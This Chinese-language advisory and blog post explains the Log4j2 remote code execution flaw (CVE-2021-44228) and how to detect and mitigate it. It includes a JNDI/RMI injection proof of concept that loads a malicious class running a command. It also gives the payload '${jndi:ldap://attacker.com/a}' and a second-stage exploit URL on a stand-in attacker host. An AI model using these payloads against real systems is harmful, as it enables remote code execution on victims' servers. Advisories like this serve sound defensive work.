Post Views: 573
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。2021年12月10日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 Apache Log4j 2.15.0 正式版本。
资料来源:
阿里云漏洞预警
360安全漏洞报告
腾讯安全
Apache是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将Perl/Python等解释器编译到服务器中。
Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
JNDI(全称Java Naming and Directory Interface
)是用于目录服务的Java API,它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。与与主机系统接口的所有Java api一样,JNDI独立于底层实现。此外,它指定了一个服务提供者接口(SPI),该接口允许将目录服务实现插入到框架中。通过JNDI查询的信息可能由服务器、文件或数据库提供,选择取决于所使用的实现。
JNDI
注入简单来说就是在JNDI
接口在初始化时,如:InitialContext.lookup(URI)
,如果URI可控,那么客户端就可能会被攻击
通过RMI进行JNDI注入,攻击者构造的恶意RMI服务器向客户端返回一个Reference
对象,Reference
对象中指定从远程加载构造的恶意Factory
类,客户端在进行lookup
的时候,会从远程动态加载攻击者构造的恶意Factory
类并实例化,攻击者可以在构造方法或者是静态代码等地方加入恶意代码。
javax.naming.Reference
构造方法为:Reference(String className, String factory, String factoryLocation)
,
className
– 远程加载时所使用的类名classFactory
– 加载的class
中需要实例化类的名称classFactoryLocation
– 提供classes
数据的地址可以是file/ftp/http
等协议因为Reference
没有实现Remote
接口也没有继承UnicastRemoteObject
类,故不能作为远程对象bind到注册中心,所以需要使用ReferenceWrapper
对Reference
的实例进行一个封装。
服务端代码如下
package demo;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception{
Registry registry= LocateRegistry.createRegistry(7777);
Reference reference = new Reference("test", "test", "http://localhost/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);
}
}
恶意代码(test.class
),将其编译好放到可访问的http
服务器
import java.lang.Runtime;
public class test{
public test() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
当客户端通过InitialContext().lookup("rmi://127.0.0.1:7777/calc")
获取远程对象时,会执行我们的恶意代码
package demo;
import javax.naming.InitialContext;
public class JNDI_Test {
public static void main(String[] args) throws Exception{
new InitialContext().lookup("rmi://127.0.0.1:7777/calc");
}
}
调用栈如下
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:456, RegistryContext (com.sun.jndi.rmi.registry)
lookup:120, RegistryContext (com.sun.jndi.rmi.registry)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:411, InitialContext (javax.naming)
main:7, JNDI_Test (demo)
Apache Log4j2 远程代码执行漏洞的详细信息已被披露,而经过分析,本次 Apache Log4j 远程代码执行漏洞,正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。
攻击原理:(来源 https://www.zhihu.com/question/504998020/answer/2265112632)
import org.apache.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = Logger.getLogger(log4jExample.class.getName());
/**
* A simple HTTP endpoint that reads the request's User Agent and logs it back.
* This is basically pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
string userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:" + userAgent);
String response = "<h1>Hello There, " + userAgent + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
根据上面提供的攻击代码,攻击者可以通过JNDI来执行LDAP协议来注入一些非法的可执行代码。
攻击步骤
${jndi:ldap://attacker.com/a}
,attacker.com
是攻击者控制的地址。attacker.com
请求。attacker.com
就可以在响应中添加一些恶意的可执行脚本,注入到服务器进程中,例如可执行的字节码http://second-stage.attacker.com/Exploit.class
。漏洞评级
CVE-2021-44228 Apache Log4j 远程代码执行漏洞 严重
影响版本
Apache Log4j 2.x < 2.15.0
检测pom依赖版本是否低于 2.15.0
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.15.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.15.0</version>
</dependency>
</dependencies>
检测gradle依赖版本是否低于 2.15.0
dependencies {
compile group: 'org.apache.logging.log4j', name: 'log4j-api', version: '2.15.0'
compile group: 'org.apache.logging.log4j', name: 'log4j-core', version: '2.15.0'
}
检测Ivy依赖版本是否低于 2.15.0
<dependencies>
<dependency org="org.apache.logging.log4j" name="log4j-api" rev="2.15.0" />
<dependency org="org.apache.logging.log4j" name="log4j-core" rev="2.15.0" />
</dependencies>
检测SBT依赖版本是否低于 2.15.0
libraryDependencies += "org.apache.logging.log4j" % "log4j-api" % "2.15.0"
libraryDependencies += "org.apache.logging.log4j" % "log4j-core" % "2.15.0"
若没有使用上述工具,那么可以全局搜索项目中是否存在log4j
的相关jar
包,并通过jar
包中的/META-INF/MANIFEST.MF
文件查看log4j
的版本。
\1. 排查日志或者解码后完整的请求数据包中是否存在${jndi:
关键字。
\2. 排查日志是否存在相关堆栈报错,堆栈里是否有JndiLookup
、ldapURLContext
、getObjectFactoryFromReference
等与 jndi 调用相关的堆栈信息。
1、排查应用是否引入了Apache log4j-core Jar包,若存在依赖引入,且在受影响版本范围内,则可能存在漏洞影响。请尽快升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0 版本,地址 https://logging.apache.org/log4j/2.x/download.html
2、升级已知受影响的应用及组件,如 spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink
3、临时缓解方案。可升级jdk版本至6u211 / 7u201 / 8u191 / 11.0.1以上,可以在一定程度上限制JNDI等漏洞利用方式。对于大于2.10版本的Log4j,可设置 log4j2.formatMsgNoLookups 为 True,或者将 JndiLookup 类从 classpath 中去除,例如 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
升级到最新版本 2.15.0-rc2 :
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
-Dlog4j2.formatMsgNoLookups=true
。lookup
的调用进行阻断。${jndi
进行拦截。